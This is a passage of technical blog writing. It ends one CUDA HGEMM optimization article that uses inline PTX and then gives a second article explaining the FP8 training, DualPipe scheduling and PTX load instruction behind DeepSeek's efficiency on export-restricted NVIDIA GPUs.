The implementation of asynchronous memory transfers alters the data movement pipeline in the GPU by leveraging specialized hardware capabilities available in Ampere and later architectures. The cp.async.ca.shared.global PTX instruction establishes a direct hardware path between global memory and shared memory, bypassing the general-purpose load/store units and eliminating the need for temporary register storage. This dedicated hardware path in Ampere reduces the memory latency and power consumption associated with transfers by removing intermediate register footprint and allocation overhead.

The async copy operations introduce a relaxed memory coherence model managed through explicit synchronization primitives. The cp.async.commit_group instruction bundles issued memory operations into a transaction group that can be collectively tracked. The cp.async.wait_group 0 instruction represents a strict synchronization point, forcing execution to stall until the most recently committed group completes. This waiting mechanism ensures correct access ordering but doesn't permit significant asynchronous overlap in this implementation.

Each thread issues fixed-width 16-byte (8 half-precision elements) transfers through the async copy instructions. With 256 threads, this allows a theoretical transfer capacity of 4KB per instruction set. The memory coalescing hardware combines multiple adjacent 16-byte requests into larger memory transactions when possible, reducing the number of actual DRAM operations required.

The "ca" (cache all) hint in cp.async.ca.shared.global indicates that data should be cached at all applicable levels of the memory hierarchy. This maximizes temporal locality benefits for this data pattern which features repeated access to the same memory regions across thread blocks.

Double Buffering

The next optimization implements double buffering to more effectively overlap computation with memory transfers. Double buffering represents a classical software pipelining technique that dramatically improves the overlap between computation and memory operations. By maintaining two buffers in shared memory for each input matrix, the kernel can simultaneously compute using data from one buffer while loading the next iteration's data into the alternate buffer. This effectively creates a two-stage pipeline where memory operations and computations occur in parallel.

The core idea is to use two separate buffers for the input matrices, alternating between them for loading and computing. The key change here is the use of dynamic shared memory with extern __shared__ half smem[];. We partition this memory to create two buffers each for matrices A and B. The offset variables s_a_db_offset and s_b_db_offset will be used to select the appropriate buffer.

__global__ void hgemm_doublebuff(
    half * __restrict__ a, half * __restrict__ b, half * __restrict__ c,
    const int M, const int N, const int K) {
    // similar initial setup as last one
    // ...
    extern __shared__ half smem[];
    half *s_a = smem;
    half *s_b = smem + 2 * BM * (BK + APAD);
    int s_a_db_offset = BM * (BK + APAD);
    int s_b_db_offset = BK * (BN + BPAD);

    // initial load into first buffer
    {
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_a_smem_addr_0), "l"(&a[load_a_gmem_addr        ]));
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_a_smem_addr_1), "l"(&a[load_a_gmem_addr +     K]));
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_b_smem_addr_0), "l"(&b[load_b_gmem_addr        ]));
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_b_smem_addr_1), "l"(&b[load_b_gmem_addr +     N]));
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_b_smem_addr_2), "l"(&b[load_b_gmem_addr + 2 * N]));
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_b_smem_addr_3), "l"(&b[load_b_gmem_addr + 3 * N]));

        asm ("cp.async.commit_group;\n" ::);
        asm ("cp.async.wait_group 0;\n" ::);
        __syncthreads();
    }

    for (int bk = 1; bk < K / BK; bk++) {
        int smem_sel = (bk & 1) ^ 1;
        int smem_sel_next = ((bk - 1) & 1) ^ 1;

        load_a_gmem_addr += BK;
        load_b_gmem_addr += BK * N;

        // load next iteration's data into alternate buffer
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_a_smem_addr_0 + smem_sel_next * s_a_db_offset * (int)sizeof(half)), "l"(&a[load_a_gmem_addr        ]));
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_a_smem_addr_1 + smem_sel_next * s_a_db_offset * (int)sizeof(half)), "l"(&a[load_a_gmem_addr +     K]));
        // ... more async copy instructions for the next buffer

        // compute using the current buffer
        wmma::load_matrix_sync(frag_a[0][0], &s_a[smem_sel * s_a_db_offset + (comp_c_frag_m * 64     ) * (BK + APAD) +  0], BK + APAD);
        wmma::load_matrix_sync(frag_a[0][1], &s_a[smem_sel * s_a_db_offset + (comp_c_frag_m * 64 + 16) * (BK + APAD) +  0], BK + APAD);
        // ... more Tensor Core load operations

        // matrix multiply operations
        #pragma unroll
        for (int i = 0; i < 4; i++) {
            #pragma unroll
            for (int j = 0; j < 4; j++) {
                wmma::mma_sync(frag_c[i][j], frag_a[0][i], frag_b[0][j], frag_c[i][j]);
                wmma::mma_sync(frag_c[i][j], frag_a[1][i], frag_b[1][j], frag_c[i][j]);
            }
        }

        asm ("cp.async.commit_group;\n" ::);
        asm ("cp.async.wait_group 0;\n" ::);
        __syncthreads();
    }

    // Process final buffer
    // ...
}

The main computation loop now includes buffer selection logic. The variables smem_sel and smem_sel_next toggle between 0 and 1 to select the appropriate buffer for the current and next iterations. While we're computing using the current buffer (smem_sel), we're loading data into the next buffer (smem_sel_next).

The implementation uses dynamic shared memory (extern __shared__ half smem[]) to accommodate twice the storage required for each matrix tile. The total shared memory consumption increases to approximately 98 KB (2 (BMBK+APAD) + BK(BN+BPAD)) sizeof(half)), which exceeds the default 48 KB shared memory limit per SM. To enable this larger allocation, the kernel launch requires cudaFuncSetAttribute(kernel, cudaFuncAttributeMaxDynamicSharedMemorySize, 98304).

`

The buffer management logic employs a clever bit manipulation technique to toggle between the buffers. The expressions (bk & 1) ^ 1 and ((bk - 1) & 1) ^ 1 alternate between 0 and 1 on consecutive iterations, providing the offset multipliers for addressing the appropriate buffer. This technique avoids branching and ensures deterministic access patterns.

From a performance modeling perspective, double buffering transforms the execution time from a sequential model T_total = T_memory + T_compute to an overlapped model T_total = max(T_memory, T_compute) + T_setup, where T_setup represents the initial loading phase. This optimization is particularly effective when T_memory and T_compute are similar in magnitude, which is often the case in matrix multiplication operations at this scale.

Cache Locality

The next optimization aims to improve locality in the L2 cache by changing how thread blocks are scheduled. This modification is particularly significant for large matrix dimensions:

__global__ void hgemm_localcache(
    half * __restrict__ a, half * __restrict__ b, half * __restrict__ c,
    const int M, const int N, const int K) {
    // ... (most of the code is same as before)
    // int bx = blockIdx.x; // Original
    int bx = blockIdx.z * gridDim.x + blockIdx.x; // New version
    if (bx >= N / BN || by >= M / BM)
        return;
    // ... (rest of the kernel remains the same)
}

And when launching the kernel:

const int BM = 128, BN = 256, BK = 32;
dim3 blockDim(256);
int BX = (N + BN - 1) / BN;
int BY = (M + BM - 1) / BM;
const int NSPLIT = 4096;
int split_num = (N + NSPLIT - 1) / NSPLIT;
dim3 gridDim((BX + split_num - 1) / split_num, BY, split_num);
cudaFuncSetAttribute(hgemm_localcache, cudaFuncAttributeMaxDynamicSharedMemorySize, 98304);
unsigned int dsmem = 2 * (BM * (BK + 8) + BK * (BN + 8)) * sizeof(half);
hgemm_localcache<<<gridDim, blockDim, dsmem>>>(a, b, c, M, N, K);

This modification changes the order in which thread blocks are scheduled, promoting better locality for matrices A and B in the L2 cache. The L2 cache locality optimization addresses a fundamental scheduling challenge in massively parallel matrix multiplication. By default, CUDA schedules thread blocks in a grid by incrementing the x-dimension first, then y, and finally z. This pattern works well for matrix A's spatial locality but leads to poor locality for matrix B when processing large matrices.

Consider a large matrix multiplication where C(16384×16384) = A(16384×16384) × B(16384×16384). With BM=128 and BN=256, the output matrix C is divided into 128×64 tiles. Traditional scheduling would process all the tiles in the first row of C (accessing corresponding rows of A and columns of B), then move to the second row, and so on. While this maintains good spatial locality for A (we reuse the same rows), we rapidly traverse different columns of B, leading to cache thrashing.

The modified scheduling introduces a parameter NSPLIT that changes how tiles are processed. Instead of traversing all N columns before moving to the next row, we process only NSPLIT/BN columns for each row before moving to the next row. This creates a more balanced access pattern that improves the spatial and temporal locality for both input matrices.

The optimal value for NSPLIT depends on hardware characteristics, particularly L2 cache size and matrix dimensions. Through empirical testing, NSPLIT=4096 was found to provide the best performance, likely because it balances the working set size to fit optimally in the L2 cache while maintaining sufficient parallelism.

This optimization is particularly effective for large matrices (approaching or exceeding 16384×16384 dimensions) where L2 cache misses become a significant performance bottleneck. For smaller matrices, the benefit is less pronounced as the working set already fits well in the cache hierarchy.

Vectorized Memory Access

Next, we'll tackle two optimizations: transposing matrix A in shared memory to enable auto-vectorization of SMEM loads, and vectorizing all global memory accesses using explicit vector datatypes. First, let's look at the transposition of matrix A. By transposing A in shared memory, we can load data using vectorized SMEM loads (LDS.128 in SASS), which provides better memory access performance:

// Transpose A during the GMEM to SMEM transfer
float4 tmp = reinterpret_cast<float4 *>(&A[innerRowA * K + innerColA * 4])[0];
As[(innerColA * 4 + 0) * BM + innerRowA] = tmp.x;
As[(innerColA * 4 + 1) * BM + innerRowA] = tmp.y;
As[(innerColA * 4 + 2) * BM + innerRowA] = tmp.z;
As[(innerColA * 4 + 3) * BM + innerRowA] = tmp.w;

// B doesn't need to be transposed, just vectorize the access
reinterpret_cast<float4 *>(&Bs[innerRowB * BN + innerColB * 4])[0] = 
    reinterpret_cast<float4 *>(&B[innerRowB * N + innerColB * 4])[0];

Looking at the assembly, we see that loading A into the registers, which used to be a 32b LDS load, is now also a 128b LDS.128 load, just like it had already been for B. This gives us approximately a 3% performance improvement.

Next, we vectorize all loads and stores from/to global memory using vector datatypes, specifically float4:

// Vectorized load from global memory using float4
float4 tmp = reinterpret_cast<float4 *>(&A[innerRowA * K + innerColA * 4])[0];

// We transpose A during the transfer from global to shared memory
As[(innerColA * 4 + 0) * BM + innerRowA] = tmp.x;
As[(innerColA * 4 + 1) * BM + innerRowA] = tmp.y;
As[(innerColA * 4 + 2) * BM + innerRowA] = tmp.z;
As[(innerColA * 4 + 3) * BM + innerRowA] = tmp.w;

// Vectorized load and store for matrix B
reinterpret_cast<float4 *>(&Bs[innerRowB * BN + innerColB * 4])[0] = 
    reinterpret_cast<float4 *>(&B[innerRowB * N + innerColB * 4])[0];

This leads to the 32b global memory load instructions (LDG.E) being replaced with 128b counterparts (LDG.E.128). Similarly, store operations also get vectorized.

The reinterpret_cast is used to promise the compiler that the float* pointers are 128b aligned, which is a requirement for using LDG.E.128. This is more efficient than manually unrolling the accesses because the compiler doesn't know that the pointer is aligned and can't use 128b loads otherwise.

Warp-Level Computation

Our final optimization focuses on warptiling, which adds another level of hierarchy between blocktiling and threadtiling. While blocks and threads are explicit in CUDA, warps are an implicit hardware concept. A warp consists of 32 threads with consecutive thread IDs that execute in lockstep.

Warptiling explicitly organizes computation around the warp structure, aligning better with the GPU's execution model:

__shared__ half s_a[BK][BK + BPAD];
__shared__ half s_b[BK][BN + BPAD];

// Fragments: 3×2 grid per warp
using namespace nvcuda::wmma;
fragment<matrix_a, 16,16,16, half, row_major> frag_a;
fragment<matrix_b, 16,16,16, half, row_major> frag_b;
fragment<accumulator,16,16,16, half> frag_c[3][2];

// Zero out all accumulator fragments
#pragma unroll
for (int i = 0; i < 3; i++) {
    #pragma unroll
    for (int j = 0; j < 2; j++) {
        fill_fragment(frag_c[i][j], 0.0f);
    }
}

// Compute thread-specific load offsets (example values shown)
int load_a_smem_m = (tid % 16) * 4; // A: row offset in shared memory
int load_a_smem_k = (tid / 16) * 4; // A: col offset
int load_b_smem_k = (tid / 32) * 8; // B: row offset in shared mem
int load_b_smem_n = (tid % 32) * 4; // B: col offset
int load_a_gmem_m = by * BM + load_a_smem_m;
int load_b_gmem_n = bx * BN + load_b_smem_n;
// (compute addresses in global memory for A and B here...)
// For brevity, assume we compute load_a_gmem_addr and load_b_gmem_addr properly
for (int bk = 0; bk < K / BK; bk++) {
    // Load a 64×BK tile of A into shared memory (each thread 4 elements)
    if (load_a_gmem_m < M && load_a_smem_k < K) {
        // e.g., s_a[load_a_smem_k][load_a_smem_m + (bk*BK)] = A[load_a_gmem_addr];
    }
    // Similarly load B tile into s_b...
    __syncthreads(); 
    // Compute 3×2 grid of WMMA multiplies
    #pragma unroll
    for (int i = 0; i < 3; i++) {
        load_matrix_sync(frag_a, s_a[i], SA_STRIDE);
        load_matrix_sync(frag_b, s_b, SB_STRIDE);
        mma_sync(frag_c[i][0], frag_a, frag_b, frag_c[i][0]);
        mma_sync(frag_c[i][1], frag_a, frag_b, frag_c[i][1]);
    }
    __syncthreads();
    // (swap buffers for double buffering, etc.)
}

Warptiling is beneficial as it aligns with the warp scheduling unit of the GPU, improving utilization of warp schedulers. It also addresses shared memory bank conflicts by organizing memory accesses along warp boundaries and improves register cache locality, especially on recent GPU architectures. It also provides better mapping to warp-level matrix operations in future tensor core instructions

The warptiling implementation makes explicit all levels of parallelism:

• Blocktiling: Different blocks can execute in parallel on different SMs

• Warptiling: Different warps can execute in parallel on different warp schedulers

• Threadtiling: Instructions can execute in parallel via instruction-level parallelism

To understand the exact benefits of our PTX optimizations, let's examine the assembly code for our key kernels. When profiling the naive implementation, we find that most executed instructions are memory loads:

ld.shared.f32 %f91, [%r8+3456];
ld.shared.f32 %f92, [%r7+108];
fma.rn.f32 %f93, %f92, %f91, %f90;

In our PTX-optimized kernels, the cp.async.ca.shared.global instruction transforms into a series of vectorized loads at the SASS level:

LDS R26, [R35.X4+0x800] // a 32b load from As
LDS.128 R8, [R2]        // a 128b load from Bs
LDS.128 R12, [R2+0x20]
LDS R24, [R35.X4+0x900]

The vectorized shared memory access pattern is a key advantage of using PTX inline assembly, as it allows the compiler to generate more efficient SASS code. Similarly, our global memory access optimizations result in LDG.E.128 instructions that fully utilize memory bandwidth.

Conclusions

This is more of a basic overview of some low-level optimizations made with utilizing inline PTX ISA. But using PTX doesn’t necessarily mean that your code will automatically be supercharged. The modern NVCC compiler is so advanced that handwritten SASS code will likely have on par performance with handwritten PTX, except if you’re really good at writing it. The following HGEMM implementation didn’t even really surpass cuBLAS in any way, but it was a good thought exercise.

Cover Illustration by onigiriice

There has been alot of copium about Deepseek-R1 leapfrogging ChatGPT-o1 in benchmarks, with many accusing Deepseek either lying about their capabilities or sanction-busting US export controls. Moreover, the whole panic is making people believe that NVIDIA no longer has a technical moat and we will all be running chinese GPUs soon.

Picking some knowledge from my unpublished article about crafting different SGEMM implementations and also some light reading in Zhihu and CSDN (frankly i was doing chinese mode before it was cool), I wanna quickly compile about the ways that Deepseek manages to carve efficiency gains from last-gen NVIDIA hardware. This will mainly focus on hardware optimizations, not architecture efficiencies with the model.

American Hardware Restrictions

Alot has been said about American export restrictions on AI chips, but what do they actually restrict for exports? When people talk about export restrictions, they are likely mentioning the Export Control Classification Number (ECCN) 3A090, introduced with the 2022 CHIPS and Science Act. This rule specifically restricts the export of datacenter chips that meet specific performance thresholds and features to Chinese and Russian entities. For the sake of skipping over the government techno-babble, ECCN 3A090 contains a few restrictions.

• Total Processing Performance (TPP)

  The primary metric for controlling AI chips is defined as TPP = 2 × MacTOPS × bit_length_operation, where MacTOPS measures multiply-accumulate operations per second and bit length refers to the numerical precision of operations (e.g., FP16, FP32).

• Performance Density

  Performance density is calculated as TPP divided by die area in square millimeters. This metric prevents circumvention through die size manipulation and accounts for miniaturization and efficiency improvements.

• Memory Bandwidth

  Memory bandwidth controls specifically target implementations using High Bandwidth Memory (HBM) and similar advanced memory architectures. These restrictions focus on memory bandwidth density thresholds, which are particularly relevant for AI accelerators utilizing stacked memory configurations. This category recognizes that memory bandwidth is often a key performance bottleneck in AI computation.

• Transfer Rate Controls

  Transfer rate restrictions apply to chips with an aggregate bidirectional transfer rate of ≥600 GB/s across all inputs and outputs, excluding volatile memory. This threshold covers both actual and programmable capabilities, including interfaces like PCIe and NVLink. The controls apply regardless of whether the transfer rate is achieved through a single interface or multiple combined interfaces.

So this shows that Deepseek does not only need to work through limitations in chip processing power, but also feature-set limitations that are specifically designed to prevent the aggregation of chips via the limitation of inter-chip bandwidth and networking capabilities.

There is alot of speculation (and even misinformation) about how Deepseek actually managed to squeeze performance out of the NVIDIA chips it still has, but alot of the information here is actually told in Deepseek-V3’s technical report paper which is the base model for Deepseek-R1.

Mixed Precision Training

Mixed precision training has been a popular way for Chinese LLM developers to work with chip restrictions. A notable implementation is with the Tencent Hunyuan-Large model, which utilized mixed precision training with the bfloat16 format which was introduced by Google Brain in 2019. bfloat16 (BF16) represents a 16-bit variant of the conventional IEEE 754 single-precision floating-point format (FP32).

While maintaining the dynamic range of FP32, BF16 features a truncated significand compared to FP16, enabling both memory efficiency and accelerated computation. Papers have show that mixed precision training can achieve up to 2.5x acceleration compared to full-precision training using FP32 on high-performance GPU architectures such as the NVIDIA A100. But the key advancement in DeepSeek-V3 is solving mixed-precision using FP8 on large-scale model training, which has been notoriously unstable.

Their implementation is a fine-grained quantization strategy that works at both tile and block levels to extend the dynamic range of the FP8 format. For activations, they implement tile-wise grouping with 1 × Nc elements, while for weights they use block-wise grouping with Nc × Nc elements. This granular approach to quantization helps mitigate the impact of outliers by adapting the scale according to smaller groups of elements, rather than using a global scaling factor.

The framework maintains most compute-dense operations in FP8, particularly the General Matrix Multiplication (GEMM) operations. These GEMM operations accept FP8 tensors as inputs and produce outputs in either BF16 or FP32 format. All three GEMMs associated with the Linear operator - forward pass (Fprop), activation backward pass (Dgrad), and weight backward pass (Wgrad) - are executed in FP8. This design theoretically doubles the computational speed compared to the original BF16 method.

DeepSeek recognizes that certain operators require higher precision due to their sensitivity to low-precision computations. They maintain the original precision (BF16 or FP32) for several components: the embedding module, the output head, MoE gating modules, normalization operators, and attention operators. This targeted retention of high precision ensures stable training dynamics.

To address the limited accumulation precision of FP8 GEMM on NVIDIA H800 GPUs (around 14 bits), DeepSeek implements a promotion to CUDA cores for higher precision. During Matrix Multiply-Accumulate (MMA) execution on Tensor Cores, intermediate results are accumulated using the limited bit width. Once an interval of Nc is reached, these partial results are copied to FP32 registers on CUDA cores, where full-precision FP32 accumulation is performed. Setting Nc = 128 elements, equivalent to 4 Warpgroup-level Matrix Multiply-Accumulates (WGMMAs), represents the minimal accumulation interval that significantly improves precision without substantial overhead.

In contrast to hybrid FP8 formats used in Micikevicius et al. (2022) (which use E4M3 in Fprop and E5M2 in Dgrad and Wgrad), DeepSeek adopts the E4M3 format universally. This is made possible by their fine-grained quantization strategy - by operating on smaller element groups, their methodology effectively shares exponent bits among grouped elements, mitigating the impact of limited dynamic range.

For calculating scale factors, DeepSeek employs online quantization rather than delayed quantization frameworks that maintain historical maximum absolute values. They calculate the maximum absolute value online for each 1x128 activation tile or 128x128 weight block, derive the scaling factor, and quantize to FP8 format immediately.

@triton.jit
def act_quant_kernel(x_ptr, y_ptr, s_ptr, BLOCK_SIZE: tl.constexpr):
    """
    Quantizes the input tensor `x_ptr` and stores the result in `y_ptr` and the scaling factor in `s_ptr`.

    Args:
        x_ptr (triton.Pointer): Pointer to the input tensor.
        y_ptr (triton.Pointer): Pointer to the output tensor where quantized values will be stored.
        s_ptr (triton.Pointer): Pointer to the output tensor where scaling factors will be stored.
        BLOCK_SIZE (tl.constexpr): The size of the block to be processed by each program instance.

    Returns:
        None
    """
    pid = tl.program_id(axis=0)
    offs = pid * BLOCK_SIZE + tl.arange(0, BLOCK_SIZE)
    x = tl.load(x_ptr + offs).to(tl.float32)
    s = tl.max(tl.abs(x)) / 448.
    y = x / s
    y = y.to(y_ptr.dtype.element_ty)
    tl.store(y_ptr + offs, y)
    tl.store(s_ptr + pid, s)


def act_quant(x: torch.Tensor, block_size: int = 128) -> Tuple[torch.Tensor, torch.Tensor]:
    """
    Quantizes the input tensor `x` using block-wise quantization.

    Args:
        x (torch.Tensor): The input tensor to be quantized. Must be contiguous and its last dimension size must be divisible by `block_size`.
        block_size (int, optional): The size of the blocks to be used for quantization. Default is 128.

    Returns:
        Tuple[torch.Tensor, torch.Tensor]: A tuple containing:
            - The quantized tensor with dtype `torch.float8_e4m3fn`.
            - A tensor of scaling factors with dtype `torch.float32`.
    """
    assert x.is_contiguous(), 'Input tensor must be contiguous'
    assert x.size(-1) % block_size == 0, f'Last dimension size must be divisible by block_size (block_size={block_size})'
    y = torch.empty_like(x, dtype=torch.float8_e4m3fn)
    s = x.new_empty(*x.size()[:-1], x.size(-1) // block_size, dtype=torch.float32)
    grid = lambda meta: (triton.cdiv(x.numel(), meta['BLOCK_SIZE']), )
    act_quant_kernel[grid](x, y, s, BLOCK_SIZE=block_size)
    return y, s

For optimizer states, they adopt BF16 instead of FP32 to track first and second moments in the AdamW optimizer. However, master weights and gradients are retained in FP32 to ensure numerical stability throughout training. Similarly, for activation caching during backward passes, inputs of the Linear after the attention operator use a custom E5M6 data format, while inputs of the SwiGLU operator in MoE are stored in FP8 with their fine-grained quantization method.

For communication in MoE operations, activations are quantized to FP8 before MoE up-projections, compatible with FP8 Fprop in MoE up-projections. A similar strategy applies to activation gradients before MoE down-projections. Forward and backward combine components are maintained in BF16 to preserve training precision in critical parts of the pipeline.

Bidirectional Pipeline Scheduling

Bidirectional pipeline parallelism can be traced back to the 2021 paper "Chimera: Efficiently Training Large-Scale Neural Networks with Bidirectional Pipelines" by Torsten Hoefler and Shigang Li from ETH Zurich. The bidirectional pipeline with cross-arrangement can reduce the bubble rate but doubles the memory usage for weights.

Despite efficiency gains, major parallel computing libraries like Megatron, Deepspeed, and Colossal AI haven't implemented it. They mostly stick to the simpler 1F1B (one forward, one backward) approach. Moreover, it was later superseded by other PP improvements. In 2021-2022, few organizations were training models at such large scales.

Doubling model weights in memory was impractical when attention training wasn't bottlenecked by sequence length. Unlike today's common 8k+ token pretraining, activation memory was a smaller concern then. With limited GPU resources, increasing batch size for better throughput was preferable to doubling memory usage.

But unlike other pipeline parallel approaches, DualPipe employs a bidirectional pipeline scheduling strategy that feeds micro-batches simultaneously from both ends of the pipeline. This approach significantly reduces pipeline bubbles - periods where hardware goes unused. The algorithm divides each chunk into four primary components: attention, all-to-all dispatch, MLP, and all-to-all combine. For backward chunks, both attention and MLP are further split into two parts: backward for input and backward for weights. The boundaries of transformer blocks in these chunks are intentionally misaligned to enable optimal overlapping.

The pipeline bubbles in DualPipe are mathematically expressed as:

$$\left(\frac{PP}{2} - 1\right)(F\&B + B - 3W)$$

where PP represents pipeline parallel size, F&B denotes the execution time of two mutually overlapped forward and backward chunks, B represents the execution time of a full backward chunk, and W denotes the execution time of a "backward for weights" chunk.

DualPipe's bidirectional pipeline scheduling feeds micro-batches simultaneously from both ends of the pipeline. In a system with 8 pipeline ranks and 20 micro-batches, the scheduling creates symmetrical batch processing patterns. The micro-batches in the reverse direction mirror those in the forward direction, with shared black borders indicating mutually overlapped computation and communication.

The memory efficiency of DualPipe requires storing 2 x PP + 1 compared to PP activations in traditional approaches. While DualPipe does maintain two copies of model parameters, this overhead is minimized in the context of large expert parallelism. Unlike other approaches like Chimera, DualPipe only requires pipeline stages and micro-batches to be divisible by 2, not requiring micro-batches to be divisible by pipeline stages.

The scheduling mechanism ensures that communication operations (dispatch and combine) for one micro-batch overlap with computation operations (attention and MLP) of another. This overlap extends to both all-to-all communication for expert parallelism and pipeline parallel communication. By maintaining computation-communication overlap at scale, DualPipe enables DeepSeek to employ fine-grained experts across nodes while effectively eliminating all-to-all communication overhead.

In the paper, Deepseek mentioned that

Although DualPipe requires keeping two copies of the model parameters, this does not significantly increase the memory consumption since we use a large EP size during training. Compared with Chimera (Li and Hoefler, 2021), DualPipe only requires that the pipeline stages and micro-batches be divisible by 2, without requiring micro-batches to be divisible by pipeline stages. In addition, for DualPipe, neither the bubbles nor activation memory will increase as the number of micro-batches grows

DeepSeek's DualPipe innovates by combining Zero Bubble Pipeline Parallelism, which splits backward passes into separate input gradient and weight gradient computations, with Chimera's approach of using two parallel streams of computation. This combination allows more efficient scheduling as while one stream is doing forward computations, the other stream can simultaneously perform backward computations.

The real breakthrough comes with how this dual-stream approach handles the all-to-all communication needed for Mixture-of-Experts (MoE) models. When using just a single stream, all-to-all communication for forward and backward passes must happen sequentially. But with dual streams, DualPipe can perform forward pass communication in one stream at the same time as backward pass communication in the other stream. This overlapping of communication dramatically improves efficiency, as the GPU isn't left waiting for one communication phase to finish before starting another.

The Magic PTX Instruction

In Deepseek’s recent open source week, it had released its implementation of its intra-GPU communication kernel tailored for MoE training and inference. In the paper, Deepseek mentions

Specifically, we employ customized PTX (Parallel Thread Execution) instructions and auto-tune the communication chunk size, which significantly reduces the use of the L2 cache and the interference to other SMs.

And it seems that Deepseek finally revealed the “customized PTX instruction” that they mentioned in the Deepseek-V3 paper, saying that its an “out-of-doc” instruction.

But a later edit to the readme later corrected this. It later elaborated that its a “behavior-out-of-doc” instruction, and not an undocumented one.

This was later again edited to provide more clarity.

But what is PTX? For those familiar with LLVM, PTX shares similarities with LLVM’s Intermediate Representation (IR). While LLVM’s project scope has expanded beyond its original “virtual machine” naming, its core concept of IR remains analogous to PTX. IR acts as a bridge between frontend programming languages and backend machine code, simplifying support for new languages and hardware targets while enabling cross-platform optimizations. PTX serves as NVIDIA’s "CUDA IR," connecting high-level CUDA C++ code with low-level GPU SASS instructions. This abstraction allows NVIDIA to implement runtime optimizations via tools like NVRTC and generate device-agnostic code.

Though CUDA developers may not directly interact with PTX, it plays a critical role under the hood. When compiling CUDA code with NVCC, .ptx files are generated during the device code compilation phase. These files represent the optimized intermediate code before final translation to SASS (the GPU’s native instruction set).

Many people touted Deepseek’s use of PTX as gamechanging, but using PTX doesn’t necessarily mean that your code will automatically be supercharged. The modern NVCC compiler is so advanced that handwritten SASS code will likely have on par performance with handwritten PTX, except if you’re really good at writing it.

MoE models have unique communication patterns because they dynamically route tokens to different experts that may be distributed across multiple GPUs and nodes. This creates an intense all-to-all communication pattern that can become a performance bottleneck. This is further complicated by sanctions, where the interconnect speeds are severely nerfed in H800 cards.

The __ldg intrinsic in CUDA maps to the PTX instruction ld.global.nc, which loads data through the non-coherent texture cache path. This was originally introduced in the Kepler architecture to provide a higher bandwidth, read-only path for accessing global memory:

// Standard usage of __ldg
template <typename T>
__device__ __forceinline__ T read_with_ldg(const T* ptr) {
    return __ldg(ptr);
}

// Compiled to something like:
// ld.global.nc.f32 %f1, [%rd1];

The texture cache has historically been optimized for spatially local access patterns and offers higher bandwidth than the standard L1/L2 cache path. However, it comes with a crucial limitation: by design, it is non-coherent with global memory stores. The NVIDIA programming guide explicitly warns that the texture cache isn't kept coherent with respect to global memory writes within the same kernel execution.The texture cache has historically been optimized for spatially local access patterns and offers higher bandwidth than the standard L1/L2 cache path. However, it comes with a crucial limitation: by design, it is non-coherent with global memory stores. The NVIDIA programming guide explicitly warns that the texture cache isn't kept coherent with respect to global memory writes within the same kernel execution.

When examining the actual kernel code in internode.cu, Deepseek needed to efficiently move data between GPUs in the form of hidden states and routing information.

// From the combine_token function, they need to read data sent by other GPUs
auto recv_fn = [&](int src_rdma_rank, int slot_idx, int hidden_int4_idx) -> int4 {
    // If using __ldg, this could be:
    return __ldg(reinterpret_cast<const int4*>(rdma_channel_data.recv_buffer(src_rdma_rank) + 
                                                slot_idx * num_bytes_per_rdma_token) + 
                                                hidden_int4_idx);
};

DeepSeek's initial attempt with ldg was problematic for their MoE communication patterns. The data being communicated between experts on different GPUs needs to be immediately visible, but the non-coherent nature of ldg meant that some reads could return stale data, leading to incorrect computation results.

When the writer thread on GPU 1 executes global_buffer[my_idx] = data, it writes a value (42 in this example) to global memory. This write operation goes through the normal global memory access path, and the value is eventually updated in the device's global memory.

Meanwhile, on GPU 2, the reader thread tries to read this value using __ldg(&global_buffer[idx]). The crucial point is that __ldg accesses memory through the texture cache, which is optimized for read-only data patterns. By design, the texture cache is not kept coherent with global memory writes from other threads or GPUs.

Even though the value has been updated in global memory, the reader's texture cache may still contain a stale value (0 in this example) from before the write occurred. The NVIDIA programming model doesn't guarantee that the texture cache will be automatically refreshed to see updates made by other threads or GPUs without explicit synchronization.

CUDA uses a relaxed memory model where, without explicit synchronization, threads may see writes from other threads in an order different from what was executed. For most operations, developers use mechanisms like __syncthreads(), atomic operations, or memory fences to establish proper ordering.

For inter-GPU communication, which is DeepSeek's use case, memory ordering becomes even more complex. They use NVSHMEM (NVIDIA's implementation of OpenSHMEM) for communication.

// Example of NVSHMEM put operation in internode.cu
nvshmemx_int8_put_nbi_warp(rdma_channel_data.recv_buffer(rdma_rank) + rdma_slot_idx * num_bytes_per_rdma_token,
                           rdma_channel_data.send_buffer(dst_rdma_rank) + rdma_slot_idx * num_bytes_per_rdma_token,
                           num_bytes_per_rdma_token * num_chunked_tokens,
                           translate_dst_rdma_rank<kLowLatencyMode>(dst_rdma_rank, nvl_rank));
nvshmem_fence();

In this example, after this operation they need to read the data on the receiving GPU. If they use __ldg for these reads, they might get stale data from the texture cache even if the data has been properly transferred via NVSHMEM.

But DeepSeek discovered that using ld.global.nc.L1::no_allocate.L2::256B instead of the standard ld.global.nc instruction solves the coherency issue on Hopper architecture while maintaining performance benefits. Despite initially being called an “out-of-doc” instruction, this instruction is documented in NVIDIA's PTX ISA documentation.

The instruction's components:

• ld.global: Loads data from the global memory space

• .nc: Uses a non-coherent cache for the load (typically the texture cache)

• .L1::no_allocate: Prevents the loaded data from being cached in L1 cache

• .L2::256B: Prefetches 256 bytes of data into the L2 cache

#ifndef DISABLE_AGGRESSIVE_PTX_INSTRS
#define LD_NC_FUNC "ld.global.nc.L1::no_allocate.L2::256B"
#else
#define LD_NC_FUNC "ld.volatile.global"
#endif

template <>
__device__  __forceinline__ int ld_nc_global(const int *ptr) {
    int ret;
    asm volatile(LD_NC_FUNC ".s32 %0, [%1];" : "=r"(ret) : "l"(ptr));
    return ret;
}

The “undefined behavior” comes from using ld.global.nc to read volatile data. The .nc qualifier indicates that a non-coherent cache is used, which means the load operation might not see the most recent writes to the memory location. According to the PTX documentation, the texture cache (accessed via .nc) is designed for read-only data that doesn't change during a kernel's execution. Using it for volatile data (data that could be modified by other threads or processes) violates its intended use case.

